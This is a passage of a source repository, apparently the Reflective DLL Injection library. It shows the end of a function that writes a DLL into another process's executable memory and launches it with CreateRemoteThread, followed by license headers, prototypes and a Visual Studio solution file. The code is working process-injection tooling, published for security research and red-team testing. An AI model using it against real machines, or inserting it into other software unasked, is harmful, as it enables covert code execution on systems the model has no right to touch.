200 | { 201 | if( !hProcess || !lpBuffer || !dwLength ) 202 | break; 203 | 204 | // check if the library has a ReflectiveLoader... 205 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 206 | if( !dwReflectiveLoaderOffset ) 207 | break; 208 | 209 | // alloc memory (RWX) in the host process for the image... 210 | lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 211 | if( !lpRemoteLibraryBuffer ) 212 | break; 213 | 214 | // write the image into the host process... 215 | if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) 216 | break; 217 | 218 | // add the offset to ReflectiveLoader() to the remote library address... 219 | lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); 220 | 221 | // create a remote thread in the host process to call the ReflectiveLoader! 222 | hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); 223 | 224 | } while( 0 ); 225 | 226 | } 227 | __except( EXCEPTION_EXECUTE_HANDLER ) 228 | { 229 | hThread = NULL; 230 | } 231 | 232 | return hThread; 233 | } 234 | //===============================================================================================// 235 | -------------------------------------------------------------------------------- /inject/src/LoadLibraryR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 29 | #define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | 33 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); 34 | 35 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); 36 | 37 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); 38 | 39 | //===============================================================================================// 40 | #endif 41 | //===============================================================================================// 42 | -------------------------------------------------------------------------------- /inject/src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include <windows.h> 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_METASPLOIT_ATTACH 4 37 | #define DLL_METASPLOIT_DETACH 5 38 | #define DLL_QUERY_HMODULE 6 39 | 40 | #define DEREF( name )*(UINT_PTR *)(name) 41 | #define DEREF_64( name )*(DWORD64 *)(name) 42 | #define DEREF_32( name )*(DWORD *)(name) 43 | #define DEREF_16( name )*(WORD *)(name) 44 | #define DEREF_8( name )*(BYTE *)(name) 45 | 46 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 47 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 48 | 49 | #define DLLEXPORT __declspec( dllexport ) 50 | 51 | //===============================================================================================// 52 | #endif 53 | //===============================================================================================// 54 | -------------------------------------------------------------------------------- /rdi.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Express 2012 for Windows Desktop 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM = Debug|ARM 11 | Debug|Win32 = Debug|Win32 12 | Debug|x64 = Debug|x64 13 | Release|ARM = Release|ARM 14 | Release|Win32 = Release|Win32 15 | Release|x64 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Release|ARM 19 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.Build.0 = Release|ARM 20 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 21 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 22 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64 23 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64 24 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|ARM 25 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.Build.0 = Release|ARM 26 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 27 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 28 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 29 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 30 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM 31 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM 32 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 33 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 34 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 35 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 36 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM 37 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM 38 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 39 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 40 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 41 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 42 | EndGlobalSection 43 | GlobalSection(SolutionProperties) = preSolution 44 | HideSolutionNode = FALSE 45 | EndGlobalSection 46 | EndGlobal 47 | --------------------------------------------------------------------------------